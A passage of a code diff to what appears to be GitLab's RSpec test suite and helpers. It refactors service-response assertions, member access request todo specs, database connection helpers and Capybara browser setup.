@@ -60,7 +60,7 @@ RSpec.describe TestHooks::ProjectService do
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the project has notes.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the project has notes.')
end
it 'executes hook' do
@@ -79,7 +79,7 @@ RSpec.describe TestHooks::ProjectService do
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the project has issues.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the project has issues.')
end
it 'executes hook' do
@@ -112,7 +112,7 @@ RSpec.describe TestHooks::ProjectService do
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the project has merge requests.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the project has merge requests.')
end
it 'executes hook' do
@@ -131,7 +131,7 @@ RSpec.describe TestHooks::ProjectService do
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the project has CI jobs.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the project has CI jobs.')
end
it 'executes hook' do
@@ -150,7 +150,7 @@ RSpec.describe TestHooks::ProjectService do
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the project has CI pipelines.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the project has CI pipelines.')
end
it 'executes hook' do
@@ -172,12 +172,12 @@ RSpec.describe TestHooks::ProjectService do
allow(project).to receive(:wiki_enabled?).and_return(false)
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the wiki is enabled and has pages.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the wiki is enabled and has pages.')
end
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the wiki is enabled and has pages.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the wiki is enabled and has pages.')
end
it 'executes hook' do
@@ -196,7 +196,7 @@ RSpec.describe TestHooks::ProjectService do
it 'returns error message if not enough data' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure the project has releases.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure the project has releases.')
end
it 'executes hook' do
diff --git a/spec/services/test_hooks/system_service_spec.rb b/spec/services/test_hooks/system_service_spec.rb
index 66a1218d123..e94ea4669c6 100644
--- a/spec/services/test_hooks/system_service_spec.rb
+++ b/spec/services/test_hooks/system_service_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe TestHooks::SystemService do
it 'returns error message' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Testing not available for this hook' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Testing not available for this hook')
end
end
@@ -70,7 +70,7 @@ RSpec.describe TestHooks::SystemService do
it 'returns error message if the user does not have any repository with a merge request' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Ensure one of your projects has merge requests.' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Ensure one of your projects has merge requests.')
end
it 'executes hook' do
diff --git a/spec/services/todo_service_spec.rb b/spec/services/todo_service_spec.rb
index c4ed34a693e..596ca9495ff 100644
--- a/spec/services/todo_service_spec.rb
+++ b/spec/services/todo_service_spec.rb
@@ -1259,92 +1259,85 @@ RSpec.describe TodoService do
end
end
- describe '#create_member_access_request' do
- context 'snowplow event tracking' do
- it 'does not track snowplow event when todos are for access request for project', :snowplow do
- user = create(:user)
- project = create(:project)
- requester = create(:project_member, project: project, user: assignee)
- project.add_owner(user)
-
- expect_no_snowplow_event
+ describe '#create_member_access_request_todos' do
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+
+ shared_examples 'member access request is raised' do
+ context 'when the source has more than 10 owners' do
+ it 'creates todos for 10 recently active source owners' do
+ users = create_list(:user, 12, :with_sign_ins)
+ users.each do |user|
+ source.add_owner(user)
+ end
+ ten_most_recently_active_source_owners = users.sort_by(&:last_sign_in_at).last(10)
+ excluded_source_owners = users - ten_most_recently_active_source_owners
- service.create_member_access_request(requester)
- end
- end
+ service.create_member_access_request_todos(requester1)
- context 'when the group has more than 10 owners' do
- it 'creates todos for 10 recently active group owners' do
- group = create(:group, :public)
+ ten_most_recently_active_source_owners.each do |owner|
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester1.user).count).to eq 1
+ end
- users = create_list(:user, 12, :with_sign_ins)
- users.each do |user|
- group.add_owner(user)
+ excluded_source_owners.each do |owner|
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester1.user).count).to eq 0
+ end
end
- ten_most_recently_active_group_owners = users.sort_by(&:last_sign_in_at).last(10)
- excluded_group_owners = users - ten_most_recently_active_group_owners
-
- requester = create(:group_member, group: group, user: assignee)
+ end
- service.create_member_access_request(requester)
+ context 'when total owners are less than 10' do
+ it 'creates todos for all source owners' do
+ users = create_list(:user, 4, :with_sign_ins)
+ users.map do |user|
+ source.add_owner(user)
+ end
- ten_most_recently_active_group_owners.each do |owner|
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: assignee).count).to eq 1
- end
+ service.create_member_access_request_todos(requester1)
- excluded_group_owners.each do |owner|
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: assignee).count).to eq 0
+ users.each do |owner|
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester1.user).count).to eq 1
+ end
end
end
- end
-
- context 'when total owners are less than 10' do
- it 'creates todos for all group owners' do
- group = create(:group, :public)
- users = create_list(:user, 4, :with_sign_ins)
- users.map do |user|
- group.add_owner(user)
- end
+ context 'when multiple access requests are raised' do
+ it 'creates todos for 10 recently active source owners for multiple requests' do
+ users = create_list(:user, 12, :with_sign_ins)
+ users.each do |user|
+ source.add_owner(user)
+ end
+ ten_most_recently_active_source_owners = users.sort_by(&:last_sign_in_at).last(10)
+ excluded_source_owners = users - ten_most_recently_active_source_owners
- requester = create(:group_member, user: assignee, group: group)
- requester.requested_at = Time.now.utc
- requester.save!
+ service.create_member_access_request_todos(requester1)
+ service.create_member_access_request_todos(requester2)
- service.create_member_access_request(requester)
+ ten_most_recently_active_source_owners.each do |owner|
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester1.user).count).to eq 1
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester2.user).count).to eq 1
+ end
- users.each do |owner|
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: assignee).count).to eq 1
+ excluded_source_owners.each do |owner|
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester1.user).count).to eq 0
+ expect(Todo.where(user: owner, target: source, action: Todo::MEMBER_ACCESS_REQUESTED, author: requester2.user).count).to eq 0
+ end
end
end
end
- context 'when multiple access requests are raised' do
- it 'creates todos for 10 recently active group owners for multiple requests' do
- group = create(:group, :public)
-
- users = create_list(:user, 12, :with_sign_ins)
- users.each do |user|
- group.add_owner(user)
- end
- ten_most_recently_active_group_owners = users.sort_by(&:last_sign_in_at).last(10)
- excluded_group_owners = users - ten_most_recently_active_group_owners
-
- requester1 = create(:group_member, group: group, user: assignee)
- requester2 = create(:group_member, group: group, user: non_member)
-
- service.create_member_access_request(requester1)
- service.create_member_access_request(requester2)
-
- ten_most_recently_active_group_owners.each do |owner|
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: assignee).count).to eq 1
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: non_member).count).to eq 1
- end
+ context 'when request is raised for group' do
+ it_behaves_like 'member access request is raised' do
+ let_it_be(:source) { create(:group, :public) }
+ let_it_be(:requester1) { create(:group_member, :access_request, group: source, user: assignee) }
+ let_it_be(:requester2) { create(:group_member, :access_request, group: source, user: non_member) }
+ end
+ end
- excluded_group_owners.each do |owner|
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: assignee).count).to eq 0
- expect(Todo.where(user: owner, target: group, action: Todo::MEMBER_ACCESS_REQUESTED, author: non_member).count).to eq 0
- end
+ context 'when request is raised for project' do
+ it_behaves_like 'member access request is raised' do
+ let_it_be(:source) { create(:project, :public) }
+ let_it_be(:requester1) { create(:project_member, :access_request, project: source, user: assignee) }
+ let_it_be(:requester2) { create(:project_member, :access_request, project: source, user: non_member) }
end
end
end
diff --git a/spec/services/users/block_service_spec.rb b/spec/services/users/block_service_spec.rb
index 45a5b1e5100..7ff9a887f38 100644
--- a/spec/services/users/block_service_spec.rb
+++ b/spec/services/users/block_service_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Users::BlockService do
- let(:current_user) { create(:admin) }
+ let_it_be(:current_user) { create(:admin) }
subject(:service) { described_class.new(current_user) }
@@ -18,6 +18,15 @@ RSpec.describe Users::BlockService do
it "change the user's state" do
expect { operation }.to change { user.state }.to('blocked')
end
+
+ it 'saves a custom attribute', :aggregate_failures, :freeze_time, feature_category: :insider_threat do
+ operation
+
+ custom_attribute = user.custom_attributes.last
+
+ expect(custom_attribute.key).to eq(UserCustomAttribute::BLOCKED_BY)
+ expect(custom_attribute.value).to eq("#{current_user.username}/#{current_user.id}+#{Time.current}")
+ end
end
context 'when failed' do
diff --git a/spec/services/users/signup_service_spec.rb b/spec/services/users/signup_service_spec.rb
index 7169401ab34..ef532e01d0b 100644
--- a/spec/services/users/signup_service_spec.rb
+++ b/spec/services/users/signup_service_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Users::SignupService do
it 'updates the name attribute' do
result = update_user(user, name: 'New Name')
- expect(result).to eq(status: :success)
+ expect(result.success?).to be(true)
expect(user.reload.name).to eq('New Name')
end
@@ -18,8 +18,8 @@ RSpec.describe Users::SignupService do
result = update_user(user, name: '')
expect(user.reload.name).not_to be_blank
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to include("Name can't be blank")
+ expect(result.success?).to be(false)
+ expect(result.message).to include("Name can't be blank")
end
end
@@ -27,7 +27,7 @@ RSpec.describe Users::SignupService do
it 'updates the role attribute' do
result = update_user(user, role: 'development_team_lead')
- expect(result).to eq(status: :success)
+ expect(result.success?).to be(true)
expect(user.reload.role).to eq('development_team_lead')
end
@@ -35,8 +35,8 @@ RSpec.describe Users::SignupService do
result = update_user(user, role: '')
expect(user.reload.role).not_to be_blank
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq("Role can't be blank")
+ expect(result.success?).to be(false)
+ expect(result.message).to eq("Role can't be blank")
end
end
@@ -44,7 +44,7 @@ RSpec.describe Users::SignupService do
it 'updates the setup_for_company attribute' do
result = update_user(user, setup_for_company: 'false')
- expect(result).to eq(status: :success)
+ expect(result.success?).to be(true)
expect(user.reload.setup_for_company).to be(false)
end
@@ -57,8 +57,8 @@ RSpec.describe Users::SignupService do
result = update_user(user, setup_for_company: '')
expect(user.reload.setup_for_company).not_to be_blank
- expect(result[:status]).to eq(:error)
- expect(result[:message]).to eq("Setup for company can't be blank")
+ expect(result.success?).to be(false)
+ expect(result.message).to eq("Setup for company can't be blank")
end
end
@@ -66,7 +66,7 @@ RSpec.describe Users::SignupService do
it 'returns success when setup_for_company is blank' do
result = update_user(user, setup_for_company: '')
- expect(result).to eq(status: :success)
+ expect(result.success?).to be(true)
expect(user.reload.setup_for_company).to be(nil)
end
end
diff --git a/spec/services/users/unblock_service_spec.rb b/spec/services/users/unblock_service_spec.rb
new file mode 100644
index 00000000000..25ee99427ab
--- /dev/null
+++ b/spec/services/users/unblock_service_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::UnblockService do
+ let_it_be(:current_user) { create(:admin) }
+
+ subject(:service) { described_class.new(current_user) }
+
+ describe '#execute' do
+ subject(:operation) { service.execute(user) }
+
+ context 'when successful' do
+ let(:user) { create(:user, :blocked) }
+
+ it { expect(operation.success?).to eq(true) }
+
+ it "change the user's state" do
+ expect { operation }.to change { user.active? }.to(true)
+ end
+
+ it 'saves a custom attribute', :aggregate_failures, :freeze_time, feature_category: :insider_threat do
+ operation
+
+ custom_attribute = user.custom_attributes.last
+
+ expect(custom_attribute.key).to eq(UserCustomAttribute::UNBLOCKED_BY)
+ expect(custom_attribute.value).to eq("#{current_user.username}/#{current_user.id}+#{Time.current}")
+ end
+ end
+
+ context 'when failed' do
+ let(:user) { create(:user) }
+
+ it 'returns error result', :aggregate_failures do
+ expect(operation.error?).to eq(true)
+ expect(operation[:message]).to include(/State cannot transition/)
+ end
+
+ it "does not change the user's state" do
+ expect { operation }.not_to change { user.state }
+ end
+ end
+ end
+end
diff --git a/spec/services/work_items/create_service_spec.rb b/spec/services/work_items/create_service_spec.rb
index a952486ee64..049c90f20b0 100644
--- a/spec/services/work_items/create_service_spec.rb
+++ b/spec/services/work_items/create_service_spec.rb
@@ -193,7 +193,7 @@ RSpec.describe WorkItems::CreateService do
end
it_behaves_like 'fails creating work item and returns errors' do
- let(:error_message) { 'No matching task found. Make sure that you are adding a valid task ID.' }
+ let(:error_message) { 'No matching work item found. Make sure that you are adding a valid work item ID.' }
end
end
end
diff --git a/spec/services/work_items/parent_links/create_service_spec.rb b/spec/services/work_items/parent_links/create_service_spec.rb
index 2f2e830845a..5884847eac3 100644
--- a/spec/services/work_items/parent_links/create_service_spec.rb
+++ b/spec/services/work_items/parent_links/create_service_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe WorkItems::ParentLinks::CreateService, feature_category: :portfol
shared_examples 'returns not found error' do
it 'returns error' do
- error = "No matching #{issuable_type} found. Make sure that you are adding a valid #{issuable_type} ID."
+ error = "No matching work item found. Make sure that you are adding a valid work item ID."
is_expected.to eq(service_error(error))
end
diff --git a/spec/services/work_items/widgets/hierarchy_service/update_service_spec.rb b/spec/services/work_items/widgets/hierarchy_service/update_service_spec.rb
index 5a5bb8a1674..6285b43311d 100644
--- a/spec/services/work_items/widgets/hierarchy_service/update_service_spec.rb
+++ b/spec/services/work_items/widgets/hierarchy_service/update_service_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe WorkItems::Widgets::HierarchyService::UpdateService, feature_cate
let_it_be(:existing_link) { create(:parent_link, work_item: child_work_item, work_item_parent: work_item) }
let(:widget) { work_item.widgets.find { |widget| widget.is_a?(WorkItems::Widgets::Hierarchy) } }
- let(:not_found_error) { 'No matching task found. Make sure that you are adding a valid task ID.' }
+ let(:not_found_error) { 'No matching work item found. Make sure that you are adding a valid work item ID.' }
shared_examples 'raises a WidgetError' do
it { expect { subject }.to raise_error(described_class::WidgetError, message) }
@@ -70,7 +70,7 @@ RSpec.describe WorkItems::Widgets::HierarchyService::UpdateService, feature_cate
let(:params) { { children: [child_work_item] } }
it_behaves_like 'raises a WidgetError' do
- let(:message) { 'Task(s) already assigned' }
+ let(:message) { 'Work item(s) already assigned' }
end
end
diff --git a/spec/simplecov_env.rb b/spec/simplecov_env.rb
index 70bd01091ba..07a23021ef5 100644
--- a/spec/simplecov_env.rb
+++ b/spec/simplecov_env.rb
@@ -57,6 +57,7 @@ module SimpleCovEnv
add_filter '/vendor/ruby/'
add_filter '/bin/'
add_filter 'db/fixtures/development/' # Matches EE files as well
+ add_filter %r|db/migrate/\d{14}_init_schema\.rb\z|
add_group 'Channels', 'app/channels' # Matches EE files as well
add_group 'Controllers', 'app/controllers' # Matches EE files as well
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 23083203cfe..f33c6e64b0c 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -109,12 +109,12 @@ RSpec.configure do |config|
# Do not overwrite migration if it's already set
unless metadata.key?(:migration)
- metadata[:migration] = true if metadata[:level] == :migration
+ metadata[:migration] = true if metadata[:level] == :migration || metadata[:level] == :background_migration
end
# Do not overwrite schema if it's already set
unless metadata.key?(:schema)
- metadata[:schema] = :latest if quality_level.background_migration?(location)
+ metadata[:schema] = :latest if metadata[:level] == :background_migration
end
# Do not overwrite type if it's already set
diff --git a/spec/support/caching.rb b/spec/support/caching.rb
index 11e4f534971..b18223523db 100644
--- a/spec/support/caching.rb
+++ b/spec/support/caching.rb
@@ -37,8 +37,8 @@ RSpec.configure do |config|
end
config.around(:each, :use_sql_query_cache) do |example|
- ActiveRecord::Base.cache do
- example.run
- end
+ base_models = Gitlab::Database.database_base_models_with_gitlab_shared.values
+ inner_proc = proc { example.run }
+ base_models.inject(inner_proc) { |proc, base_model| proc { base_model.cache { proc.call } } }.call
end
end
diff --git a/spec/support/capybara.rb b/spec/support/capybara.rb
index aea853d1c23..fe9bff827dc 100644
--- a/spec/support/capybara.rb
+++ b/spec/support/capybara.rb
@@ -32,6 +32,8 @@ CAPYBARA_WINDOW_SIZE = [1366, 768].freeze
SCREENSHOT_FILENAME_LENGTH = ENV['CI'] || ENV['CI_SERVER'] ? 255 : 99
+@blackhole_tcp_server = nil
+
# Run Workhorse on the given host and port, proxying to Puma on a UNIX socket,
# for a closer-to-production experience
Capybara.register_server :puma_via_workhorse do |app, port, host, **options|
@@ -83,6 +85,17 @@ Capybara.register_driver :chrome do |app|
# Chrome 75 defaults to W3C mode which doesn't allow console log access
options.add_option(:w3c, false)
+ # Set up a proxy server to block all external traffic.
+ @blackhole_tcp_server = TCPServer.new(0)
+ Thread.new do
+ loop do
+ Thread.start(@blackhole_tcp_server.accept, &:close)
+ end
+ end
+
+ options.add_argument("--proxy-server=http://127.0.0.1:#{@blackhole_tcp_server.addr[1]}")
+ options.add_argument("--proxy-bypass-list=127.0.0.1,localhost,#{Gitlab.config.gitlab.host}")
+
Capybara::Selenium::Driver.new(
app,
browser: :chrome,
diff --git a/spec/support/helpers/api_helpers.rb b/spec/support/helpers/api_helpers.rb
index 62bb9576695..a9d7c6af959 100644
--- a/spec/support/helpers/api_helpers.rb
+++ b/spec/support/helpers/api_helpers.rb
@@ -19,7 +19,7 @@ module ApiHelpers
# => "/api/v2/issues?foo=bar&private_token=..."
#
# Returns the relative path to the requested API resource
- def api(path, user = nil, version: API::API.version, personal_access_token: nil, oauth_access_token: nil, job_token: nil, access_token: nil)
+ def api(path, user = nil, version: API::API.version, personal_access_token: nil, oauth_access_token: nil, job_token: nil, access_token: nil, admin_mode: false)
full_path = "/api/#{version}#{path}"
if oauth_access_token
@@ -31,7 +31,12 @@ module ApiHelpers
elsif access_token
query_string = "access_token=#{access_token.token}"
elsif user
- personal_access_token = create(:personal_access_token, user: user)
+ personal_access_token = if admin_mode && user.admin?
+ create(:personal_access_token, :admin_mode, user: user)
+ else
+ create(:personal_access_token, user: user)
+ end
+
query_string = "private_token=#{personal_access_token.token}"
end
diff --git a/spec/support/helpers/cycle_analytics_helpers.rb b/spec/support/helpers/cycle_analytics_helpers.rb
index 6d41d7b7414..632f3ea28ee 100644
--- a/spec/support/helpers/cycle_analytics_helpers.rb
+++ b/spec/support/helpers/cycle_analytics_helpers.rb
@@ -92,7 +92,7 @@ module CycleAnalyticsHelpers
end
def create_value_stream_group_aggregation(group)
- aggregation = Analytics::CycleAnalytics::Aggregation.safe_create_for_group(group)
+ aggregation = Analytics::CycleAnalytics::Aggregation.safe_create_for_namespace(group)
Analytics::CycleAnalytics::AggregatorService.new(aggregation: aggregation).execute
end
diff --git a/spec/support/helpers/database/database_helpers.rb b/spec/support/helpers/database/database_helpers.rb
index f3b2a2a6147..ecc42041e93 100644
--- a/spec/support/helpers/database/database_helpers.rb
+++ b/spec/support/helpers/database/database_helpers.rb
@@ -4,9 +4,7 @@ module Database
module DatabaseHelpers
# In order to directly work with views using factories,
# we can swapout the view for a table of identical structure.
- def swapout_view_for_table(view, connection: nil)
- connection ||= ActiveRecord::Base.connection
-
+ def swapout_view_for_table(view, connection:)
connection.execute(<<~SQL.squish)
CREATE TABLE #{view}_copy (LIKE #{view});
DROP VIEW #{view};
@@ -28,21 +26,20 @@ module Database
# with_statement_timeout(0.1) do
# model.select('pg_sleep(0.11)')
# end
- def with_statement_timeout(timeout)
+ def with_statement_timeout(timeout, connection:)
# Force a positive value and a minimum of 1ms for very small values.
timeout = (timeout * 1000).abs.ceil
raise ArgumentError, 'Using a timeout of `0` means to disable statement timeout.' if timeout == 0
- previous_timeout = ActiveRecord::Base.connection
- .exec_query('SHOW statement_timeout')[0].fetch('statement_timeout')
+ previous_timeout = connection.select_value('SHOW statement_timeout')
- set_statement_timeout("#{timeout}ms")
+ connection.execute(format(%(SET LOCAL statement_timeout = '%s'), timeout))
yield
ensure
begin
- set_statement_timeout(previous_timeout)
+ connection.execute(format(%(SET LOCAL statement_timeout = '%s'), previous_timeout))
rescue ActiveRecord::StatementInvalid
# After a transaction was canceled/aborted due to e.g. a statement
# timeout commands are ignored and will raise in PG::InFailedSqlTransaction.
@@ -50,22 +47,5 @@ module Database
# for the currrent transaction which will be closed anyway.
end
end
-
- # Set statement timeout for the current transaction.
- #
- # Note, that it does not restore the previous statement timeout.
- # Use `with_statement_timeout` instead.
- #
- # @param timeout - Statement timeout in seconds
- #
- # Example:
- #
- # set_statement_timeout(0.1)
- # model.select('pg_sleep(0.11)')
- def set_statement_timeout(timeout)
- ActiveRecord::Base.connection.execute(
- format(%(SET LOCAL statement_timeout = '%s'), timeout)
- )
- end
end
end
diff --git a/spec/support/helpers/database/table_schema_helpers.rb b/spec/support/helpers/database/table_schema_helpers.rb
index 472eaa45b4b..815c37e00e5 100644
--- a/spec/support/helpers/database/table_schema_helpers.rb
+++ b/spec/support/helpers/database/table_schema_helpers.rb
@@ -3,7 +3,9 @@
module Database
module TableSchemaHelpers
def connection
- ActiveRecord::Base.connection
+ # We use ActiveRecord::Base.connection here because this is mainly used for database migrations
+ # where we override the connection on ActiveRecord::Base.connection
+ ActiveRecord::Base.connection # rubocop:disable Database/MultipleDatabases
end
def expect_table_to_be_replaced(original_table:, replacement_table:, archived_table:)
diff --git a/spec/support/helpers/features/members_helpers.rb b/spec/support/helpers/features/members_helpers.rb
index bdadcb8af43..2d3f0902a3c 100644
--- a/spec/support/helpers/features/members_helpers.rb
+++ b/spec/support/helpers/features/members_helpers.rb
@@ -56,6 +56,22 @@ module Spec
click_button 'Search'
end
end
+
+ def user_action_dropdown
+ '[data-testid="user-action-dropdown"]'
+ end
+
+ def show_actions
+ within user_action_dropdown do
+ find('button').click
+ end
+ end
+
+ def show_actions_for_username(user)
+ within find_username_row(user) do
+ show_actions
+ end
+ end
end
end
end
diff --git a/spec/support/helpers/features/web_ide_spec_helpers.rb b/spec/support/helpers/features/web_ide_spec_helpers.rb
index 551749a43de..4793c9479fe 100644
--- a/spec/support/helpers/features/web_ide_spec_helpers.rb
+++ b/spec/support/helpers/features/web_ide_spec_helpers.rb
@@ -13,14 +13,18 @@
module WebIdeSpecHelpers
include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
+ # Open the IDE from anywhere by first visiting the given project's page
def ide_visit(project)
visit project_path(project)
- wait_for_requests
+ ide_visit_from_link
+ end
- click_link('Web IDE')
+ # Open the IDE from the current page by clicking the Web IDE link
+ def ide_visit_from_link(link_sel = 'Web IDE')
+ new_tab = window_opened_by { click_link(link_sel) }
- wait_for_requests
+ switch_to_window new_tab
end
def ide_tree_body
diff --git a/spec/support/helpers/listbox_helpers.rb b/spec/support/helpers/listbox_helpers.rb
new file mode 100644
index 00000000000..5fcd05f31fb
--- /dev/null
+++ b/spec/support/helpers/listbox_helpers.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ListboxHelpers
+ def select_from_listbox(text, from:, exact_item_text: false)
+ click_button from
+ select_listbox_item(text, exact_text: exact_item_text)
+ end
+
+ def select_listbox_item(text, exact_text: false)
+ find('.gl-listbox-item[role="option"]', text: text, exact_text: exact_text).click
+ end
+
+ def expect_listbox_item(text)
+ expect(page).to have_css('.gl-listbox-item[role="option"]', text: text)
+ end
+
+ def expect_no_listbox_item(text)
+ expect(page).not_to have_css('.gl-listbox-item[role="option"]', text: text)
+ end
+
+ def expect_listbox_items(items)
+ expect(find_all('.gl-listbox-item[role="option"]').map(&:text)).to eq(items)
+ end
+end
diff --git a/spec/support/helpers/listbox_input_helper.rb b/spec/support/helpers/listbox_input_helper.rb
deleted file mode 100644
index ca7fbac5daa..00000000000
--- a/spec/support/helpers/listbox_input_helper.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module ListboxInputHelper
- include WaitForRequests
-
- def listbox_input(value, from:)
- open_listbox_input(from) do
- find('[role="option"]', text: value).click
- end
- end
-
- def open_listbox_input(selector)
- page.within(selector) do
- page.find('button[aria-haspopup="listbox"]').click
- yield
- end
- end
-end
diff --git a/spec/support/helpers/login_helpers.rb b/spec/support/helpers/login_helpers.rb
index 44237b821c3..5fde80e6dc9 100644
--- a/spec/support/helpers/login_helpers.rb
+++ b/spec/support/helpers/login_helpers.rb
@@ -101,6 +101,8 @@ module LoginHelpers
fill_in "user_password", with: (password || user.password)
check 'user_remember_me' if remember
+ wait_for_all_requests
+
find('[data-testid="sign-in-button"]:enabled').click
if two_factor_auth
diff --git a/spec/support/helpers/migrations_helpers.rb b/spec/support/helpers/migrations_helpers.rb
index e1d28a807e3..6fc5904fc83 100644
--- a/spec/support/helpers/migrations_helpers.rb
+++ b/spec/support/helpers/migrations_helpers.rb
@@ -104,7 +104,7 @@ module MigrationsHelpers
# We stub this way because we can't stub on
# `current_application_settings` due to `method_missing` is
# depending on current_application_settings...
- allow(ActiveRecord::Base.connection)
+ allow(Gitlab::Database::Migration::V1_0::MigrationRecord.connection)
.to receive(:active?)
.and_return(false)
allow(Gitlab::Runtime)
@@ -158,10 +158,10 @@ module MigrationsHelpers
end
def migrate!
- open_transactions = ActiveRecord::Base.connection.open_transactions
+ open_transactions = Gitlab::Database::Migration::V1_0::MigrationRecord.connection.open_transactions
allow_next_instance_of(described_class) do |migration|
allow(migration).to receive(:transaction_open?) do
- ActiveRecord::Base.connection.open_transactions > open_transactions
+ Gitlab::Database::Migration::V1_0::MigrationRecord.connection.open_transactions > open_transactions
end
end
diff --git a/spec/support/helpers/navbar_structure_helper.rb b/spec/support/helpers/navbar_structure_helper.rb
index e1ed3ffacec..48c6e590e1b 100644
--- a/spec/support/helpers/navbar_structure_helper.rb
+++ b/spec/support/helpers/navbar_structure_helper.rb
@@ -91,9 +91,8 @@ module NavbarStructureHelper
new_nav_item: {
nav_item: _('Observability'),
nav_sub_items: [
- _('Dashboards'),
- _('Explore'),
- _('Manage Dashboards')
+ _('Explore telemetry data'),
+ _('Data sources')
]
}
)
diff --git a/spec/support/helpers/query_recorder.rb b/spec/support/helpers/query_recorder.rb
index dd124ed9c7f..5be9ba9ae1e 100644
--- a/spec/support/helpers/query_recorder.rb
+++ b/spec/support/helpers/query_recorder.rb
@@ -19,9 +19,7 @@ module ActiveRecord
def record(&block)
# force replacement of bind parameters to give tests the ability to check for ids
- ActiveRecord::Base.connection.unprepared_statement do
- ActiveSupport::Notifications.subscribed(method(:callback), 'sql.active_record', &block)
- end
+ ActiveSupport::Notifications.subscribed(method(:callback), 'sql.active_record', &block)
end
def show_backtrace(values, duration)
diff --git a/spec/support/helpers/usage_data_helpers.rb b/spec/support/helpers/usage_data_helpers.rb
index 78ceaf297a8..438f0d129b9 100644
--- a/spec/support/helpers/usage_data_helpers.rb
+++ b/spec/support/helpers/usage_data_helpers.rb
@@ -116,8 +116,9 @@ module UsageDataHelpers
).freeze
def stub_usage_data_connections
- allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
- allow(::Ci::ApplicationRecord.connection).to receive(:transaction_open?).and_return(false) if ::Ci::ApplicationRecord.connection_class?
+ Gitlab::Database.database_base_models_with_gitlab_shared.each_value do |base_model|
+ allow(base_model.connection).to receive(:transaction_open?).and_return(false)
+ end
allow(Gitlab::Prometheus::Internal).to receive(:prometheus_enabled?).and_return(false)
end
diff --git a/spec/support/matchers/be_boolean.rb b/spec/support/matchers/be_boolean.rb
new file mode 100644
index 00000000000..b8c2c385504
--- /dev/null
+++ b/spec/support/matchers/be_boolean.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+# Assert that this value is a boolean, i.e. true or false
+#
+# ```
+# expect(value).to be_boolean
+# ```
+RSpec::Matchers.define :be_boolean do
+ match { |value| value.in? [true, false] }
+end
diff --git a/spec/support/matchers/exceed_query_limit.rb b/spec/support/matchers/exceed_query_limit.rb
index a5a017828b3..4b08c13945c 100644
--- a/spec/support/matchers/exceed_query_limit.rb
+++ b/spec/support/matchers/exceed_query_limit.rb
@@ -380,3 +380,32 @@ RSpec::Matchers.define :exceed_query_limit do |expected|
failure_message
end
end
+
+RSpec::Matchers.define :match_query_count do |expected|
+ supports_block_expectations
+
+ include ExceedQueryLimitHelpers
+
+ def verify_count(&block)
+ @subject_block = block
+ actual_count == maximum
+ end
+
+ def failure_message
+ threshold_message = threshold > 0 ? " (+#{threshold})" : ''
+ counts = "#{expected_count}#{threshold_message}"
+ "Expected exactly #{counts} queries, got #{actual_count}:\n\n#{log_message}"
+ end
+
+ def skip_cached
+ false
+ end
+
+ match do |block|
+ verify_count(&block)
+ end
+
+ failure_message_when_negated do |actual|
+ failure_message
+ end
+end
diff --git a/spec/support/redis/redis_helpers.rb b/spec/support/redis/redis_helpers.rb
